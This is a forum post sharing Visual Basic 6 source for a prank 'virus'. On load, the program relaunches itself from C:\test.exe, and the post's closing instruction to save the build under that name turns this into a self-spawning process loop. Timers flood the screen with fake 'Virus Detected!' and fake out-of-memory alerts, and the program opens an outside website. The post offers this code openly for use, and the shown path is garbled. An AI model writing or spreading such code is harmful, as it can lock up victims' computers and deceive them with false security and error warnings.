Crazy Virus' - Programmers Heaven

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Categories

Crazy Virus'

topherhackertopherhacker Posts: 1Member
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
Dim ctr As Integer
---------------------------------------------------------------
Private Sub Form_Load()
Shell "c: est.exe", vbNormalFocus
End Sub
---------------------------------------------------------------
' Timer1 interval = 100

Private Sub Timer1_Timer()
MsgBox "Virus Detected!", vbExclamation, "Warning."
End Sub
---------------------------------------------------------------
' Timer2 interval = 200

Private Sub Timer2_Timer()
MsgBox "Runtime error 492. Not enough memory.", vbCritical, "Runtime Error."
End Sub
---------------------------------------------------------------
' Timer3 interval = 5000

Private Sub Timer3_Timer()
ctr = ctr + 1
If ctr = 1 Then
ShellExecute Form1.hwnd, "open", "http://www.googlehammer.com", "", "", SW_SHOW Or SW_NORMAL
Timer3.Enabled = False
End If
End Sub
---------------------------------------------------------------

---------------------------------------------------------------
'After that, you will make the exe file and name it the "test.exe" and then save it to drive C.
Sign In or Register to comment.